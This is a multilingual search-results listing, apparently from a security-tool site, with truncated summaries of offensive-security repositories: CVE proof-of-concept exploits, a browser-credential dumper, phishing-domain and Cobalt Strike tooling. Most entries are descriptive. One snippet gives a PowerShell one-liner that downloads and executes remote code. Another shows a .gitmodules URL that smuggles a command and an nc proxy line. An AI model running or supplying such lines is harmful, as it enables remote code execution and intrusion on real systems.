3083044 matches found
PoC-AutoSync
🧠 PoC-AutoSync-Github poc-in-github.motikan2010.net から公開されている Proof-of-Concept PoC エクスプロイトを自動的に収集し、自動更新によりデータベースを最新の状態に保ちます。研究および防御目的のみに、責任を持ってご利用ください。 nomi-sec/PoC-in-GitHub に触発されたプロジェクトです。 🔍 概要 このリポジトリは GitHub Actions により毎時自動的に更新されます。 各 CVE PoC は /pocs/ ディレクトリ内に Markdown ファイルとして保存されます。...
PageTableInjection
PageTableInjection コードインジェクション、ページテーブルのPML4を介して悪意のあるペイロードを注入する手法。 はじめに これは、ページテーブルインジェクション技術（page table injection technique）を利用して任意のユーザープロセスに悪意のあるコードを注入する概念実証です。 Windows（および一部の最新OS）では、各プロセスには独自のPML4、すなわちディレクトリテーブルベース（Directory Table...
catphish
CATPHISH 生成用于钓鱼攻击的相似域名。检查过期域名及其分类状态以规避代理分类。白名单域名非常适合您的C2服务器。完美适用于红队演练。 安装 root@kitploit: bundle install 当前算法 SingularOrPluralise prependOrAppend doubleExtensions mirrorization homoglyphs dashOmission Punycode 版本 1.1.0: root@kitploit: The parser for command line options is modified to compensate...
smuggler
root@kitploit: / | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler HTTPリクエストスマグリング / デシンクテストツール（Python 3製） 謝辞 James Kettle氏のHTTPデシンクに関する研究と手法に特に感謝します。 また、Smugglerのベータテストと、Nahamcon 2020での作業発表を許可してくれたBen Sadeghipour氏にも特に感謝します。 重要...
CVE-2025-2011
CVE-2025-2011 - DepicterプラグインのSQLインジェクション脆弱性 CVEリファレンス: CVE-2025-2011 このリポジトリは、Depicter Slider & Popup Builderプラグイン（バージョン3.6.2未満）のSQLインジェクション脆弱性をテストするための概念実証環境を含んでいます。 前提条件 Docker Docker Compose Python 3.x 必要なPythonパッケージ: requests, colorama セットアップ手順 1. 環境を起動 root@kitploit: docker-compose up -d 2...
CVE-2024-36527
CVE-2024-36527 PoCおよびバルクスキャナー 概要 CVE-2024-36527のPoC: puppeteer-renderer v.3.2.0以前はディレクトリトラバーサルの脆弱性があります。攻撃者はファイルプロトコルを使用してURLパラメータを悪用し、サーバーから機密情報を読み取ることができます。 セキュリティアドバイザリはZac Wang によって公開され、PoCはM Ali によって作成されました。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: python cve-2024-36527.py -...
AOSP-DownloadProviderDbDumperSQLiLimit
AOSP-DownloadProviderDbDumperSQLiLimit AndroidのDownload ProviderのSortパラメータにおけるSQLインジェクションを悪用するPoC CVE-2019-2196 セキュリティアドバイザリ Android AOSP Download ProviderのクエリSortパラメータにおけるSQLインジェクション CVE-2019-2196 デモ...
CVE-2014-4113
CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows のみ iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...
CVE-2024-41107
🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我々は、テロ組織ハマスによって人質に取られたすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰還するまで、我々は休むことはありません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ 🚀 CVE-2024-41107 エクスプロイト 🚀 このリポジトリには、Apache CloudStack の深刻な脆弱性 CVE-2024-41107 に対するエクスプロイトが含まれています。この脆弱性は、バージョン 4.5.0 から...
R2C-CVE-2025-55182-66478
🔥React2Shell ツールキット - CVE-2025-55182 & CVE-2025-66478 🚨 React Server Components および Next.js の重大な RCE 🚨 CVE-2025-55182 の検出と悪用のためのプロフェッショナル Red Team ツールキット 🔍 機能 • ⚡ クイックスタート • 📚 ドキュメント • 🤝 お問い合わせ 🎯 CVE-2025-55182 および CVE-2025-66478 について 🐛 React2Shell とは？ React2Shell は、React Server Components RSC およ...
password_generator
PassForge - Generador de contraseñas CLI todo en uno Un generador de contraseñas CLI listo para producción, criptográficamente seguro, con 17 modos de generación, transparencia de entropía y amplias opciones de personalización. Características 17 Modos de Generación...
test-CVE-2018-6574-
此存储库没有 README。...
apfell
Apfell Apfell 是一款适用于 macOS 的 JavaScript for Automation JXA 载荷。此版本当前支持 Mythic 2.3.+ 及以上版本，并将根据需要进行更新。它不适用于 Mythic 2.2 及更低版本。 如何在 Mythic 中以这种格式安装代理 当你准备好测试安装，或者他人想安装你的代理时，操作相当简单。在 Mythic 中，你可以运行 mythic-cli 二进制文件，通过以下三种方式之一进行安装： sudo ./mythic-cli install github https://github.com/user/repo — 安装主分支...
CVE-2023-51385_test
CVE-2023-51385の検証 まず、/.ssh/configに以下の内容を追加する必要があります root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodulesファイルの記述にはコマンドインジェクションが存在します root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします root@kitploit:...
Bluefrag_CVE-2020-0022
BluefragCVE-2020-0022 这是一个针对 Android 8.0 和 9.0 的蓝牙 RCE 漏洞 文件夹 cve-2020-0022 中的测试 Python 脚本来自 https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/。 原始下载链接为 https://insinuator.net/wp-content/uploads/2020/04/cve20200022export.tar-1.gz 其他崩溃脚本参考了...
DumpBrowserSecrets
DumpBrowserSecrets 最新のChromiumベースおよびGeckoベースのブラウザ（Chrome、Microsoft Edge、Firefox、Opera、Opera GX、Vivaldi）から、リフレッシュトークン、Cookie、保存された認証情報、クレジットカード、オートフィルエントリ、閲覧履歴、ブックマークなどのブラウザ保存データを抽出します。 クイックリンク Maldev Academy ホーム Maldev Database マルウェア開発コースシラバス Offensive Phishing Operations コースシラバス...
Inline-Execute-PE
Inline-Execute-PE 免責事項: このプロジェクトは複雑であり、仕組みを理解せずに適切にテストしないと、Beacon がクラッシュしてアクセスを失う可能性があります。 「設計上の考慮事項と解説」セクションまでのすべてのドキュメントを読むことを強くお勧めします。 はじめに Inline-Execute-PE は、Beacon Object File（BOF）と、CobaltStrike 用の Aggressor スクリプトのスイートです。これにより、オペレーターはアンマネージド Windows 実行可能ファイルを Beacon メモリにロードして実行し、出力を取得して...
Kamerka-GUI
Kamerka GUI Kamerka GUI は、インターネットに公開された産業制御システム（ICS）、IoT、および医療機器を発見、レビュー、トリアージするための Django ベースの偵察ダッシュボードです。Shodan 検索データ、Google Maps による可視化、デバイスのスクリーンショット、受動的インテリジェンスのエンリッチメント、および選択されたスキャン/エクスプロイトヘルパーを1つの Web インターフェースに統合しています。 このアプリは、デバイス一覧の Filter Honeypots...